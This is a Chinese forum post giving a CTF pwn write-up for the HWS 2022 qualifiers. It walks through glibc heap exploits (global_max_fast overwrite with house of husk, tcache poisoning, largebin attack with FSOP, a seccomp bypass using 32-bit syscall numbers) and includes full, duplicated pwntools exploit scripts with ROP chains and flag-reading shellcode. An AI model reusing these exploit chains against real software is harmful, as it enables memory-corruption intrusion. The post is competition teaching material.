首页
社区
课程
招聘
[原创]HWS 2022线上预选赛pwn writeup
发表于: 2022-1-26 18:57 9080

[原创]HWS 2022线上预选赛pwn writeup

2022-1-26 18:57
9080

(这题名字就叫送分题)
题目环境2.27
有一次unsortbin attack的机会,而且贴心的帮你泄露出了libc地址
可以通过打global_max_fast,将fastbin的范围扩大,
结合可以分配两个大小很大的chunk,容易想到house of husk覆盖格式化字符串处理函数为onegadget,
但也可以打IO_FILE结构体来做
这里选择用前者
house of husk的详细原理
exp:

堆菜单题
开启了seccomp沙盒机制

另外三个分别是fork,vfork,rt_sigreturn调用

add

dele

show

一次性的edit?

显然这里的edit函数没有按照堆块的应有size来修改堆块
存在一个堆溢出漏洞
很容易想到去修改tcache chunk的fd指针来分配free_hook处的内存
主要困难在于泄露libc地址
但是在赛事群里讨论了一下发现这题的解法很多
因为题目给的edit函数在取堆块时还存在一个索引越界问题

这时候就有了一些奇怪的操作空间
目前主要有两种流派的解法:

其中第二种流派里目前已知有两个解法
我在比赛的时候选了第二种流派中的一个解法
希望有大佬教教我正常解法是怎么搞的
以下是我的解法:
注意到在bss段的上方有一个特殊的数据,一个指向自身的指针

即上图的off_202008
并且下方有一个menu字符串指针和edit_flag, 如果可以将这里视为一个chunk来编辑修改,不仅可以在保证一次性的edit函数依然可以使用,
还可以通过局部修改menu字符串来指向程序中含有libc地址的地方来泄露libc地址
并且off_202008+0x18位置是stdin指针,可以满足edit函数的check
但是经过测试,这个字符串地址与含libc地址的地方有3位的偏差,需要爆破3位
(实际上在本地中这个爆破的效率很高,大概只需要几秒就可以成功)
泄露完成后就是一般orw读flag了
exp


听到群友的另一种方法是,因为程序在开头把flag读入,并且给出了栈地址的低位
同时这个栈地址存储在了bss段,所以可以以其为一个假chunk,来修改栈,将arg[0]覆盖为flag的指针,然后让程序报错打出flag

这道题比赛中没有做出来,今天复现了一下
题目环境2.29
开启seccomp沙盒

漏洞是一个非常明显的UAF

只能用16次的add,并且使用calloc分配内存,
同时自己做了分配出来的chunk的size字段的检查


dele,存在UAF

show

后门函数

高版本又UAF,那铁是搞largebin attack了
后门函数可以让我们对堆中0xa000偏移以内的含地址或为0的内存写一个值
所以可以依靠这个修改chunk的bk_nextsize来打_IO_list_all
现在问题就在于怎么去凑出两个大小相近的大堆块了
程序提供了三种大小的chunk: 0x20,0x110,0x410

实测,如果先free填满tcache再合并去做堆布局,次数大概会超一两次
我则是用另外两次后门重新利用了进入tcache的chunk
去修改相邻两个已经进入tcache的chunk的key,再free他们,则可以合并出一个0x820的堆块1
再去free两个0x410的相邻堆块2,之后分配一次0x20的chunk,让tcache内的0x820大小堆块进入largebin,并分割堆块2为0x800大小,
注意这里free两个0x410的相邻堆块得到较小的堆块2前需要提前布置好利用链
然后使用后门,修改堆块1的bk_nextsize
最后再分配一次0x410大小的chunk,完成largebin attack

2.29的libc有以下特点:

对于第一点我们可以先寻找控制rdx的方法
在2.29中的getkeyserv_handle+576位置,有这样一个gadget

可以达到控制rdx的目的然后再setcontext
其次是绕过vtable_check
vtable check的详细过程和一般绕过方法
这里的利用是根据这位大佬的博客
FSOP在glibc2.29中的利用
利用的详细见exp

题目禁用了open系统调用,但是没有对程序架构做限制,相同的调用号在32位和64位架构下意义不同,所以可以依靠这一点进行绕过.

exp:

from pwn import *
sh = process("./pwn")
# sh = remote("1.13.162.249",10001)
context.log_level='debug'
 
sh.sendlineafter("big box, what size?\n",str(0x1850)) //计算得出
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
# gdb.attach(sh)
 
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
success(hex(libc_base))
success(hex(global_max_fast))
 
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
sh.sendlineafter("(1:big/2:bigger)\n",'1')
 
one_gadget = 0x10a45c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
 
sh.interactive()
from pwn import *
sh = process("./pwn")
# sh = remote("1.13.162.249",10001)
context.log_level='debug'
 
sh.sendlineafter("big box, what size?\n",str(0x1850)) //计算得出
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
# gdb.attach(sh)
 
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
success(hex(libc_base))
success(hex(global_max_fast))
 
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
sh.sendlineafter("(1:big/2:bigger)\n",'1')
 
one_gadget = 0x10a45c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
 
sh.interactive()
struct peach
{
  char name[16];
  _QWORD ptr;
  _QWORD chk_size; // hidword的值作为标识堆块可用的标志
};
struct peach
{
  char name[16];
  _QWORD ptr;
  _QWORD chk_size; // hidword的值作为标识堆块可用的标志
};
from pwn import *
# sh = process("./peachw")
elf = ELF('./peachw')
# context.log_level = 'debug'
context.arch = 'amd64'
 
def add(idx,name,size,content):
    sh.sendafter(b"Your choice: ",b'\x01')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"name your peach  : \n",name)
    sh.sendafter(b"size of your peach:\n",str(size).encode('utf-8'))
    sh.sendafter(b"descripe your peach :\n",content)
    return
def dele(idx):
    sh.sendafter(b"Your choice: ",b'\x02')
    sh.sendafter(b"Index ?\n",str(idx).encode('utf-8'))
    return
def edit(idx,size,content):
    sh.sendafter(b"Your choice: ",b'\x04')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"new size of your peach : \n",size.to_bytes(4,'little'))
    sh.sendafter(b"draw your peach \n",content)
    return
def show(idx,num):
    sh.sendafter("Your choice: ",b'\x03')
    sh.sendafter("Index ? ",str(idx).encode('utf-8'))
    sh.sendafter("lucky number?\n",str(num).encode('utf-8'))
    return
def pwn():
    sh.sendafter(b"like peach?\n",b'yes')
    payload = p64(0xdeadbeef)
    payload += p64(1)
    payload += b'\x20\x20\x20'
    edit(-0x2f,0x100,payload)
    sh.recvline()
    libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3db720
    success(hex(libc_base))
    libc = ELF('./libc/libc-2.26.so')
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext']
    mprotect = libc_base + libc.sym['mprotect']
    read_addr = libc_base + libc.sym['read']
    add(0,'fxxku',0x208,"nothing") #0
    add(1,'fxxku',0x208,"nothing") #1
    add(2,'fxxku',0x208,"nothing") #2
    dele(1)
    payload = b'a'*0x20
    payload += p64(0)
    payload += p64(0x211)
    payload += b'a'*0x200
    payload += p64(0)
    payload += p64(0x31)
    payload += p64(0)
    payload += b'a'*0x18
    payload += p64(0x0)
    payload += p64(0x211)
    payload += p64(free_hook)
    edit(0,0x420,payload)
    add(1,'fxxku',0x208,"nothing") #1
    poprdi = libc_base + 0x0000000000020b8b
    poprsi = libc_base + 0x0000000000020a0b
    poprdx = libc_base + 0x0000000000001b96
    payload = p64(setcontext+53)
    payload += p64(0) * 12
    payload += p64(libc_base) #rdi
    payload += p64(0x1000) #rsi
    payload += p64(0) #rbp
    payload += p64(0) #rbx
    payload += p64(7) #rdx
    payload += p64(0) #
    payload += p64(0x89) #rcx
    payload += p64(free_hook+0xc8) #rsp
    payload += p64(mprotect) #restore rip
    payload += p64(0) * 3
    payload += p64(poprdi)
    payload += p64(0)
    payload += p64(poprsi)
    payload += p64(libc_base)
    # payload += p64(0xdeadbeef)
    payload += p64(poprdx)
    payload += p64(0x100)
    payload += p64(read_addr)
    payload += p64(libc_base)
    add(3,'fxxku',0x208,payload) # 3
    dele(3)
    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read('rax',free_hook,0x30)
    shellcode += shellcraft.write(1,free_hook,0x40)
    sh.send(asm(shellcode))
while True:
    try:
        # sh = process('./peachw')
        sh = remote("1.13.162.249",10003)
        pwn()
        # gdb.attach(sh)
        sh.recvuntil(b'flag{')
        flag = sh.recvuntil(b"}",drop=True)
        break
    except Exception:
        sh.close()
        sleep(0.1)
print(b"flag{"+flag+b"}")
sh.close()
from pwn import *
# sh = process("./peachw")
elf = ELF('./peachw')
# context.log_level = 'debug'
context.arch = 'amd64'
 
def add(idx,name,size,content):
    sh.sendafter(b"Your choice: ",b'\x01')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"name your peach  : \n",name)
    sh.sendafter(b"size of your peach:\n",str(size).encode('utf-8'))
    sh.sendafter(b"descripe your peach :\n",content)
    return
def dele(idx):
    sh.sendafter(b"Your choice: ",b'\x02')
    sh.sendafter(b"Index ?\n",str(idx).encode('utf-8'))
    return
def edit(idx,size,content):
    sh.sendafter(b"Your choice: ",b'\x04')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"new size of your peach : \n",size.to_bytes(4,'little'))
    sh.sendafter(b"draw your peach \n",content)
    return
def show(idx,num):
    sh.sendafter("Your choice: ",b'\x03')
    sh.sendafter("Index ? ",str(idx).encode('utf-8'))
    sh.sendafter("lucky number?\n",str(num).encode('utf-8'))
    return
def pwn():
    sh.sendafter(b"like peach?\n",b'yes')
    payload = p64(0xdeadbeef)
    payload += p64(1)
    payload += b'\x20\x20\x20'
    edit(-0x2f,0x100,payload)
    sh.recvline()
    libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3db720
    success(hex(libc_base))
    libc = ELF('./libc/libc-2.26.so')
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext']
    mprotect = libc_base + libc.sym['mprotect']
    read_addr = libc_base + libc.sym['read']
    add(0,'fxxku',0x208,"nothing") #0
    add(1,'fxxku',0x208,"nothing") #1
    add(2,'fxxku',0x208,"nothing") #2
    dele(1)
    payload = b'a'*0x20
    payload += p64(0)
    payload += p64(0x211)
    payload += b'a'*0x200
    payload += p64(0)
    payload += p64(0x31)
    payload += p64(0)
    payload += b'a'*0x18
    payload += p64(0x0)
    payload += p64(0x211)
    payload += p64(free_hook)
    edit(0,0x420,payload)
    add(1,'fxxku',0x208,"nothing") #1
    poprdi = libc_base + 0x0000000000020b8b
    poprsi = libc_base + 0x0000000000020a0b
    poprdx = libc_base + 0x0000000000001b96
    payload = p64(setcontext+53)
    payload += p64(0) * 12
    payload += p64(libc_base) #rdi
    payload += p64(0x1000) #rsi
    payload += p64(0) #rbp
    payload += p64(0) #rbx
    payload += p64(7) #rdx
    payload += p64(0) #
    payload += p64(0x89) #rcx
    payload += p64(free_hook+0xc8) #rsp
    payload += p64(mprotect) #restore rip
    payload += p64(0) * 3
    payload += p64(poprdi)
    payload += p64(0)
    payload += p64(poprsi)
    payload += p64(libc_base)
    # payload += p64(0xdeadbeef)
    payload += p64(poprdx)
    payload += p64(0x100)
    payload += p64(read_addr)
    payload += p64(libc_base)
    add(3,'fxxku',0x208,payload) # 3
    dele(3)
    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read('rax',free_hook,0x30)
    shellcode += shellcraft.write(1,free_hook,0x40)
    sh.send(asm(shellcode))
while True:
    try:
        # sh = process('./peachw')
        sh = remote("1.13.162.249",10003)
        pwn()
        # gdb.attach(sh)
        sh.recvuntil(b'flag{')
        flag = sh.recvuntil(b"}",drop=True)
        break
    except Exception:
        sh.close()
        sleep(0.1)
print(b"flag{"+flag+b"}")

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//